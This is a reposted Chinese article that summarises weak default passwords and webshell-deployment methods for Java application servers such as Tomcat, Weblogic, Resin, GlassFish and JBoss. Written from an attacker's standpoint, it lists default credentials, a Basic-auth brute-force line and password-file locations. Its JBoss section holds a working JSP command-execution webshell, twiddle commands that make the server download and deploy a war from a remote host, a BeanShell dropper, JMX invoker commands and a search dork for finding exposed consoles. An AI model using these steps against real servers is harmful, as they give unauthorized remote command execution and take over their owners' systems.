Java類WebServer及中間件拿webshell方法總結


0、序

原文名稱:Tomcat、Weblogic、JBoss、GlassFish、Resin、Websphere弱口令及拿webshell方法總結

原文from:http://www.hack80.com/thread-22662-1-1.html

1、java應用服務器

Java應用服務器主要為應用程序提供運行環境,為組件提供服務。Java 的應用服務器很多,從功能上分為兩類:JSP 服務器和 Java EE 服務器。

1.1 常見Java服務器

常見的Java服務器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。

Myeclipse比較方便的配置各式各樣的Server,一般只要簡單的選擇下Server的目錄就行了。

 

1.2 構建Webshell war包

1、打開Myeclipse新建Web項目
2、把jsp放到WebRoot目錄下
3、導出項目為war文件

 

2、Tomcat

2.1、Tomcat配置文件

1、tomcat-users.xml

Tomcat5默認配置了兩個角色:tomcat、role1。其中帳號為both、tomcat、role1的默認密碼都是tomcat。不過都不具備直接部署應用的權限,默認需要有manager權限才能夠直接部署war包,Tomcat5默認需要安裝Administration Web Application。Tomcat6默認沒有配置任何用戶以及角色,沒辦法用默認帳號登錄。

配置詳解:http://tomcat.apache.org/tomcat- ... o.html#Introduction

2、context.xml

Tomcat的上下文,一般情況下如果用Tomcat的自身的數據源多在這里配置。找到數據源即可用對應的帳號密碼去連接數據庫。
<Context>
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<Resource name="jdbc/u3" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000"
username="xxxxx" password="xxxx" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://192.168.0.xxx:3306/xxx?autoReconnect=true"/>
< /Context>

3、server.xml
Server這個配置文件價值非常高,通常的訪問端口、域名綁定和數據源可以在這里找到,如果想知道找到域名對應的目錄可以讀取這個配置文件。如果有用Https,其配置也在這里面能夠找到。

4、web.xml
web.xml之前講MVC的時候有提到過,項目初始化的時候會去調用這個配置文件這個文件一般很少有人動但是不要忽略其重要性,修改web.xml可以做某些YD+BT的事情。

5、Tomcat口令爆破
Tomcat登錄比較容易爆破,但是之前說過默認不對其做任何配置的時候爆破是無效的。
Tomcat的認證比較弱,Base64(用戶名:密碼)編碼,請求:” /manager/html/”如果響應碼不是401(未經授權:訪問由於憑據無效被拒絕。)即登錄成功。
conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes()));

 

2.2 Tomcat獲取WebShell

Tomcat后台部署war獲取WebShell
登錄tomcat后台:http://xxx.com/manager/html,一般用WAR file to deploy就行了,Deploy directory or WAR file located on server這種很少用。
1>Deploy directory or WAR file located on server
Web應用的URL入口、XML配置文件對應路徑、WAR文件或者該Web應用相對於/webapps目錄的文件路徑,然后單擊 按鈕,即可發布該Web應用,發布后在Application列表中即可看到該Web應用的信息。這種方式只能發布位於/webapps目錄下的Web應用。
2>WAR file to deploy
選擇需要發布的WAR文件,然后單擊Deploy,即可發布該Web應用,發布后在Application列表中即可看到該Web應用的信息。這種方式可以發布位於任意目錄下的Web應用。
其中,第二種方式實際上是把需要發布的WAR文件自動復制到/webapps目錄下,所以上述兩種方式發布的Web應用都可以通過在瀏覽器地址欄中輸入http://localhost:8080/Web進行訪問。

 

3、Resin

3.1 Resin默認配置

1、resin.conf和resin.xml
Tomcat和Rsin的核心配置文件都在conf目錄下,Resin3.1.x 默認是resin.conf而4.0.x默認是resin.xml。resin.conf/resin.xml是Resin最主要配置文件,類似Tomcat的server.xml。

1>數據源:
第一節的時候有談到resin數據源就是位於這個文件,搜索database(位於server標簽內)即可定位到具體的配置信息。

2>域名綁定
搜索host即可定位到具體的域名配置,其中的root-directory是域名綁定的對應路徑。很容易就能夠找到域名綁定的目錄了。
<host id="javaweb.org" root-directory=".">
<host-alias-regexp>^([^/]*).javaweb.org</host-alias-regexp>
<web-app id="/" root-directory="D:/web/xxxx/xxxx"/>
< /host>

3.2 Resin默認安全策略

1>管理后台訪問權限
Resin比較BT的是默認僅允許本機訪問管理后台,這是因為在resin.conf當中默認配置禁止了外部IP請求后台。<resin:set var="resin_admin_external" value="false"/>修改為true外部才能夠訪問。

2>Resin后台管理密碼
Resin的管理員密碼需要手動配置,在resin.conf/resin.xml當中搜索management。即可找到不過需要注意的是Resin的密碼默認是加密的,密文是在登錄頁自行生成。比如admin加密后的密文大概會是:yCGkvrQHY7K8qtlHsgJ6zg== 看起來僅是base64編碼不過不只是admin默認的Base64編碼是:YWRtaW4= Resin,翻了半天Resin終於在文檔里面找到了:http://www.caucho.com/resin-3.1/doc/resin-security.xtp

雖說是MD5+Base64加密但是怎么看都有點不對,下載Resin源碼找到加密算法:
package com.caucho.server.security.PasswordDigest
這加密已經沒法反解了,所以就算找到Resin的密碼配置文件應該也沒法破解登錄密碼。事實上Resin3的管理后台並沒有其他Server(相對JBOSS和Weblogic)那么豐富。而Resin4的管理后台看上去更加有趣。

Resin4的加密方式和Resin3還不一樣改成了SSHA:
admin_user : admin
admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi

詳情:http://www.caucho.com/resin-4.0/admin/security.xtp


3.3 Resin獲取WebShell

As of Resin 4.0.0, it is now possible to deploy web applications remotely to a shared repository that is distributed across the cluster. This feature allows you to deploy once to any triad server and have the application be updated automatically across the entire cluster. When a new dynamic server joins the cluster, the triad will populate it with these applications as well.
Web Deploy war文件大概是從4.0.0開始支持的,不過想要在Web deploy一個應用也不是一件簡單的事情,首先得先進入后台。然后還得以Https方式訪問。不過命令行下部署就沒那沒法麻煩。Resin3得手動配置web-app-deploy。 最簡單的但又不爽辦法就是想辦法把war文件上傳到resin-pro-3.1.13webapps目錄下,會自動部署(就算Resin已啟動也會自動部署,不影響已部署的應用)。

Resin3部署詳情:http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp
Resin4部署War文件詳情:http://www.caucho.com/resin-4.0/admin/deploy.xtp

Resin4進入后台后選擇Deploy,不過還得用SSL方式請求。Resin要走一個”非加密通道”。

To deploy an application remotely:
1. log into the resin-admin console on any triad server. Make sure you are connecting over SSL, as this feature is not available over a non-encrypted channel.
2. Browse to the "webapp" tab of the resin-admin server and at the bottom of the page, enter the virtual host, URL, and local .war file specifying the web application, then press "Deploy".
3. The application should now be deployed on the server. In a few moments, all the servers in the cluster will have the webapp.

Resin4敢不敢再沒節操點?默認HTTPS是沒有開的。需要手動去打開: conf esin.properties
# https         : 8443 默認8443端口是關閉的,取消這一行的注釋才能夠使用HTTPS方式訪問后台才能夠Web Deploy war。

部署成功訪問: http://localhost:8080/GetShell/Customize.jsp 即可獲取WebShell

 

4、Weblogic

Weblogic默認端口是7001,Weblogic10g-12c默認的管理后台是:http://localhost:7001/console Weblogic10 以下默認后台地址是:http://192.168.80.1:7001/console/login/LoginForm.jsp ,管理帳號是在建立Weblogic域的時候設置的。

Weblogic10以下默認管理帳號:weblogic密碼:weblogic。關於Weblogic10++的故事還得從建域開始,默認安裝完Weblogic后需要建立一個域。

WebLogic中的"域"?
  域環境下可以多個 WebLogic Server或者WebLogic Server 群集。域是由單個管理服務器管理的 WebLogic Server實例的集合。 Weblogic10++域默認是安裝完成后由用戶創建。帳號密碼也在創建域的時候設置,所以這里並不存在默認密碼。當一個域創建完成后配置文件和Web應用在:Weblogic12user_projectsdomains”域名”。

4.1、Weblogic默認密碼文件:

Weblogic 9采用的3DES(三重數據加密算法)加密方式,Weblogic 9默認的管理密碼配置文件位於:
weblogic_9weblogic92samplesdomainswl_serverserversexamplesServersecurityoot.properties

boot.properties:
# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013
username={3DES}fy709SQ4pCHAFk+lIxiWfw==
password={3DES}fy709SQ4pCHAFk+lIxiWfw==

Weblogic 12c采用了AES對稱加密方式,但是AES的key並不在這文件里面。默認的管理密碼文件存放於:
Weblogic12user_projectsdomainsase_domainserversAdminServersecurity boot.properties (base_domain是默認的”域名”)。

boot.properties:
# Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013
username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE=
password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=

怎樣解密Weblogic密碼?
Weblogic 12c:
Weblogic12user_projectsdomainsase_domainsecuritySerializedSystemIni.dat
Weblogic 9:
weblogic_9weblogic92samplesdomainswl_serversecuritySerializedSystemIni.dat
解密詳情:
http://drops.wooyun.org/tips/349 、http://www.blogjava.net/midea0978/archive/2006/09/07/68223.html

4.2、Weblogic數據源(JNDI)

Weblogic如果有配置數據源,那么默認數據源配置文件應該在:
Weblogic12user_projectsdomainsase_domainconfigconfig.xml

 

4.3  Weblogic獲取Webshell

Weblogic 9 GetShell:
http://drops.wooyun.org/tips/402

 

5、Websphere

5.1 Websphere8.5登錄頁面:


https://localhost:9043/ibm/console/logon.jsp

Websphere6-7默認控制台地址也是:
http://localhost:9043/ibm/console,此處用admin登錄即可。

5.2 Websphere GetShell


本地只安裝了8.5測試,Websphere安裝的確非常坑非常麻煩。不過Google HACK到了其余兩個版本Websphere6和Websphere7。測試發現Websphere GetShell一樣很簡單,只是比較麻煩,一般情況直接默認配置Next就行了。Websphere7和Websphere8 GetShell基本一模一樣。

Websphere6 GetShell:
需要注意的是Websphere6默認支持的Web應用是2.3(web.xml配置的web-app_2_3.dtd)直接上2.5是不行的,請勿霸王硬上弓。其次是在完成部署后記得保存啊親,不然無法生效。

 

Websphere8.5 GetShell:

  部署的時候記得寫上下文名稱哦,不讓無法請求到Shell。

 

6、GlassFish

6.1 GlassFish 默認配置

默認Web控制后台:
http://localhost:4848
默認管理密碼:
GlassFish2默認帳號admin密碼adminadmin 。
GlassFish3、4 如果管理員不設置帳號本地會自動登錄,但是遠程訪問會提示配置錯誤。
Configuration Error
Secure Admin must be enabled to access the DAS remotely.

默認端口:
使用Admin的端口 4848。
使用HTTP Instance的端口 8080。
使用JMS的端口 7676。
使用IIOP的端口 3700。
使用HTTP_SSL的端口 8181。
使用IIOP_SSL的端口 3820。
使用IIOP_MUTUALAUTH的端口 3920。
使用JMX_ADMIN的端口 8686。
使用OSGI_SHELL的默認端口 6666。
使用JAVA_DEBUGGER的默認端口 9009。

6.2  GlassFish GetShell

 

7、JBOOS

Jboss:http://drops.wooyun.org/papers/178
JBoss應用服務器(JBoss AS)是一個被廣泛使用的開源Java應用服務器。
它是JBoss企業中間件(JEMS)的一部分,並且經常在大型企業中使用。
因為這個軟件是高度模塊化和松耦合的,導致了它很很復雜,同時也使它易成為攻擊者的目標。
本文從攻擊者的角度來看,指出JBoss應用服務器存在的潛在風險,並結合例子如何實現如何在JBoss應用服務器上執行任意代碼。

7.1 JBoss概述

JBoss應用服務器基於Java企業版1.4,並可以在應用在非常多操作系統中,包括Linux,FreeBSD和Windows中,只要操作系統中安裝了Java虛擬機。 

JBoss應用服務架構
Java管理擴展(JMX)Java管理擴展(JMX)是一個監控管理Java應用程序的標准化架構,JMX分為三層:

JMX架構
設備層(Instrumentation Level):主要定義了信息模型。在JMX中,各種管理對象以管理構件的形式存在,需要管理時,向MBean服務器進行注冊。該層還定義了通知機制以及一些輔助元數據類。
代理層(Agent Level):主要定義了各種服務以及通信模型。該層的核心是一個MBean服務器,所有的管理構件都需要向它注冊,才能被管理。注冊在MBean服務器上管理構件並不直接和遠程應用程序進行通信,它們通過協議適配器和連接器進行通信。而協議適配器和連接器也以管理構件的形式向MBean服務器注冊才能提供相應的服務。
分布服務層(Distributed Service Level):主要定義了能對代理層進行操作的管理接口和構件,這樣管理者就可以操作代理。然而,當前的JMX規范並沒有給出這一層的具體規范。
JMX InvokerInvokers允許客戶端應用程序發送任意協議的JMX請求到服務端。
這些調用都用過MBean服務器發送到響應的MBean服務。
傳輸機制都是透明的,並且可以使用任意的協議如:HTTP,SOAP2或JRMP3。
Deployer架構攻擊者對JBoss應用服務器中的Deployers模塊特別感興趣。
他們被用來部署不同的組成部分。
本文當中重點要將的安裝組件:
JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式為基礎。與 ZIP 文件不同的是,JAR 文件不僅用於壓縮和發布,而且還用於部署和封裝庫、組件和插件程序,並可被像編譯器和 JVM 這樣的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用來指示工具如何處理特定的 JAR。
WAR(Web ARchives):WAR文件是JAR文件包含一個Web應用程序的組件,與Java ServerPages(JSP),Java類,靜態web頁面等類似。
BSH(BeanSHell scripts):BeanShell是Java腳本語言,BeanShell腳本使用Java語法,運行在JRE上。
最重要的JBoss應用服務器deployer是MainDeployer。它是部署組件的主要入口點。
傳遞給MainDeployer的部署組件的路徑是一個URL形式:

org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer會下載對象,並決定使用什么樣的SubDeployer轉發。
根據組件的類型,SubDeployer(例如:JarDeployer,SarDeployer等)接受對象進行安裝。
為了方便部署,可以使用UrlDeploymentScanner,它同樣獲取一個URL作為參數:

org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
傳入的URL會被定期的檢查是否有新的安裝或更改。
這就是JBoss應用服務器如何實現熱部署的,有新的或者更改的組件會被自動的部署。

7.2 攻擊

WAR文件最簡單的在JBoss應用服務器上運行自己的代碼是部署一個組件,JBoss可以通過HTTP安裝組件。
WAR文件包需要在WEB-INF目錄下含一個web.xml文件,在實際的應用程序代碼目錄之外。
這是一個描述文件,描述了在什么URL將在之后的應用程序中發現。
WAR文件可以用Java的SDK jar命令創建:

$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的結構目錄:

|-- META-INF|   -- MANIFEST.MF|-- WEB-INF|   -- web.xml -- redteam.jsp
META-INF/MANIFEST.MF是用jar創建文件時自動創建的,包含JAR的信息,例如:應用程序的主入口點(需要調用的類)或者需要什么額外的類。這里生成的文件中沒有什么特別的信息,僅包含一些基本信息:

Manifest-Version: 1.0 Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml文件必須手動創建,它包含有關Web應用程序的信息,例如JSP文件,或者更詳細的應用描述信息,如果發生錯誤,使用什么圖標顯示或者錯誤頁面的名稱等

<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee             http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"         version="2.4">    <servlet>        <servlet-name>RedTeam Shell</servlet-name>        <jsp-file>/redteam.jsp</jsp-file>    </servlet></web-app> 
redteam的內容:

<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {  String cmd = request.getParameter("cmd");  Process p = Runtime.getRuntime().exec(cmd);  OutputStream os = p.getOutputStream();  InputStream in = p.getInputStream();  DataInputStream dis = new DataInputStream(in);  String disr = dis.readLine();  while ( disr != null ) {    out.println(disr);    disr = dis.readLine();} }%> 

 

HTTP請求:

/redteam.jsp?cmd=ls
將會列出當前目錄所有文件,命令執行后的結果會通過如下代碼返回來:

while ( disr != null ) {  out.println(disr);  disr = dis.readLine();}
JMX ConsoleJMX控制台允許通過web瀏覽器與JBoss應用服務器直接互動的組件。
它可以方便的管理JBoss服務器,MBean的屬性與方法可以直接調用,只要參數中沒有復雜的參數類型。

JMX控制台默認界面
這個通常是攻擊者第一個目標。
Server- 和ServerInfo-MBean
MBeans的屬性
jboss.system:type=Serverjboss.system:type=ServerInfo
展現了JBoss應用服務器與主機系統的信息,包含Java虛擬機以及操作系統的類型版本信息。

MBean的屬性
JMX控制台對MBeans可讀可操作,不僅包含JBoss應用服務器本身的信息,同時包含主機信息,這些有助於進一步攻擊。
MBean的shutdown()方法可以關閉JBoss應用服務器,未授權的JMX接口可以導致拒絕服務攻擊。
redteam.war安裝MainDeployer的方法屬性可以在JMX控制台中的jboss.system中調用。
deploy()方法可以由一個URL中一個參數調用,URL指向WAR文件,需要是服務器能夠訪問到的地址。
當invoke按鈕被點擊時,JBoss應用服務器會下載WAR文件並安裝它,之后,就可以執行shell命令了

JBoss應用程序執行ls -l命令
RMI: 遠程方法調用通常JMX控制台保護方法是加一個密碼保護。
然而這不是訪問JBoss應用服務器組件的唯一方式,JBoss應用服務器經常與客戶端程序接口相互調用,Java遠程方法調用(RMI)也發揮重要作用。
使用RMI,本地應用程序可以訪問遠程對象,並可以調用它們的方法。客戶端與服務器之間的通信是透明的。
JNDI(Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC都是構建在抽象層上。
JNDI可訪問的現有的目錄及服務有:
DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。
通過RMI訪問MBeanRMI接口默認凱奇在端口4444上,JNDI接口默認開啟在1098和1099上。
與JBoss應用服務器RMI通信,可以使用專門的Java程序。更簡單的方式是使用twiddle,包括JBoss應用服務器的安裝。

$ sh jboss-4.2.3.GA/bin/twiddle.sh -hA JMX client to ’twiddle’ with a remote JBoss server.usage: twiddle.sh [options] <command> [command_arguments]options: -h, --help Show this help message --help-commands Show a list of commands -H=<command> Show command specific help-c=command.properties Specify the command.properties file to use-D<name>[=<value>] Set a system property-- Stop procession options-s, --server=<url> The JNDI URL of the remote server-a, --adapter=<name> The JNDI name of the RMI adapter to user-u, --user=<name> Specify the username for authentication-p, --password=<name> Specify the password for authentication-q, --quiet Be somewhat more quiet
有了twiddle,就用可用命令行通過RMI調用JBoss應用服務器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh來啟動twiddle。類似於JMX控制台,MBEAN的屬性可讀可改,並且可以調用其方法。
顯示MBean服務器的信息

$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfoActiveThreadCount=50AvailableProcessors=1OSArch=amd64MaxMemory=518979584HostAddress=127.0.1.1JavaVersion=1.6.0_06OSVersion=2.6.24-19-serverJavaVendor=Sun Microsystems Inc.TotalMemory=129957888ActiveThreadGroupCount=7OSName=LinuxFreeMemory=72958384HostName=scribusJavaVMVersion=10.0-b22JavaVMVendor=Sun Microsystems Inc.JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安裝redteam.war根據twiddle的幫助利用deploy()方法安裝war文件。

 

$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
通過下面的URL訪問shell:

http://scribus:8080/redteam/redteam-shell.jsp
BSHDeployer利用RMI攻擊需要JBoss應用服務器能夠訪問遠程HTTP服務器。
然而在很多配置中,防火牆不允許JBoss服務器對外發出連接請求:

為了能夠在JBoss服務器上安裝redteam.war,這個文件需要放在本地。
雖然JBoss不允許直接直接上傳文件,但是有BeanShellDeployer,我們可以在遠程服務器上創建任意文件。
BeanShellBeanShell是一種運行在JRE上的腳本語言,該語言支持常規的Java語法。可以很快寫完,並且不需要編譯。
BSHDeployerJBoss服務器中BSHDeployer可以部署BeanShell腳本,它會安裝后自動執行。
利用BSHDeployer安裝的方法是:

createScriptDeployment(String bshScript, String scriptName)
BeanShell腳本可以用下面的BeanShell腳本實現把redteam.war放到JBoss服務器上。

import java.io.FileOutputStream;import sun.misc.BASE64Decoder;// Base64 encoded redteam.warString val = "UEsDBBQACA[...]AAAAA";BASE64Decoder decoder = new BASE64Decoder();byte[] byteval = decoder.decodeBuffer(val);FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");fs.write(byteval);fs.close();
變量val中是redteam.war文件的base64編碼后的字符串,腳本在tmp目錄下生成redteam.war文件,Windows中可以填寫C:WINDOWSTEMP。
安裝redteam.war文件利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:

$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh
tedteam.bsh包含上面的BeanShell腳本,調用成功后JBoss服務器返回BeanShell創建的臨時文件地址:

file:/tmp/redteam.bsh55918.bsh
當BeanShell腳本執行部署后,會創建/tmp/redteam.war文件,現在就可以通過調用本地文件來部署了:

$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之后就可以訪問redteam-shell.jsp來執行命令了。
Web Console Invoker通過JMX控制台與RMI來控制JBoss服務器是最常用的方法。
除了這些還有更隱蔽的接口,其中之一就是Web控制台中使用JMXInvoker。
Web控制台Web控制台與JMX控制台類似,也可以通過瀏覽器訪問。
Web控制台的默認界面:

如果JMX控制台有密碼保護的話,是不可以通過Web控制台訪問MBean的函數的,需要登陸后才能訪問。
Web控制台JMX InvokerWeb控制台除了可以看到組建的梳妝接口與JBoss服務器信息外,還可監視MBean屬性的實時變化。
訪問URL:

http://$hostname/web-console/Invoker
這個Invoker其實就是JMX Invoker,而不局限於Web控制台提供的功能。
默認情況下,訪問是不受限制的,所以攻擊者可以用它來發送任意的JMX命令到JBoss服務器。
安裝redteam.war用Web控制台的Invoker安裝redteam.war文件。
webconsole_invoker.rb可以直接調用Web控制的JMX Invoker,使用的Java類是:org.jboss.console.remote.Util
Util.class文件屬於JBoss服務器的JAR文件:console-mgr-classes.jar,它提供的方法:

public static Object invoke(    java.net.URL externalURL,    RemoteMBeanInvocation mi)public static Object getAttribute(    java.net.URL externalURL,    RemoteMBeanAttributeInvocation mi)
通過Web控制台Invoker可以讀取MBean的屬性與invoke方法。
這個類可以通過webconsole_invoker.rb腳本使用,使用方法如下:

$ ./webconsole_invoker.rb -hUsage: ./webconsole_invoker.rb [options] MBean-u, --url URL  The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)-a, --get-attr ATTR             Read an attribute of an MBean-i, --invoke METHOD             invoke an MBean method-p, --invoke-params PARAMS      MBean method params-s, --invoke-sigs SIGS          MBean method signature-t, --test                      Test the script with the ServerInfo MBean-h, --help                      Show this helpExample usage:./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
通過如下命令利用BSHDeployer來安裝redteam.war文件。

$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
在遠程服務器上創建一個本地的redteam.war文件,現在第二部就可以利用MainDeployer安裝/tmp/redteam.war文件了。

$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
redteam-shell.jsp又可以訪問了。
JMXInvokerServlet之前提到過JBoss服務器允許任何協議訪問MBean服務器,對於HTTP,JBoss提供HttpAdaptor。
默認安裝中,HttpAdaptor是沒有啟用的,但是HttpAdaptor的JMX Invoker可以通過URL直接訪問。

http://$hostname/invoker/JMXInvokerServlet
這個接口接受HTTP POST請求后,轉發到MBean,因此與Web控制台Invoker類似,JMXInvokerServlet也可以發送任意的JMX調用到JBoss服務器。
創建MarshalledInvocation對象JMXInvokerServlet的調用與Web控制台Invoker不兼容,所以不能使用webconsole_invoker.rb腳本調用。
MarshalledInvocation對象通常只在內部JBoss服務器上做交流。
httpinvoker.rb腳本與webconsole_invoker.rb腳本類似,但是需要JBoss服務器激活HttpAdaptor

$ ./httpinvoker.rb -hUsage: ./httpinvoker.rb [options] MBean-j, --jndi URL               The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)-p, --adaptor URL            The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)-a, --get-attr ATTR          Read an attribute of an MBean-i,  --invoke METHOD         invoke an MBe an method               --invoke-params PARAMS  MBean method params-s, --invoke-sigs SIGS       MBean method signature-t, --test                   Test the script with the ServerInfo MBean-h, --help                   Show this help
安裝tedteam.war與webconsole_invoker.rb安裝類似。
尋找JBoss服務器的方法:

inurl:"jmx-console/HtmlAdaptor"intitle:"Welcome to JBoss"

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM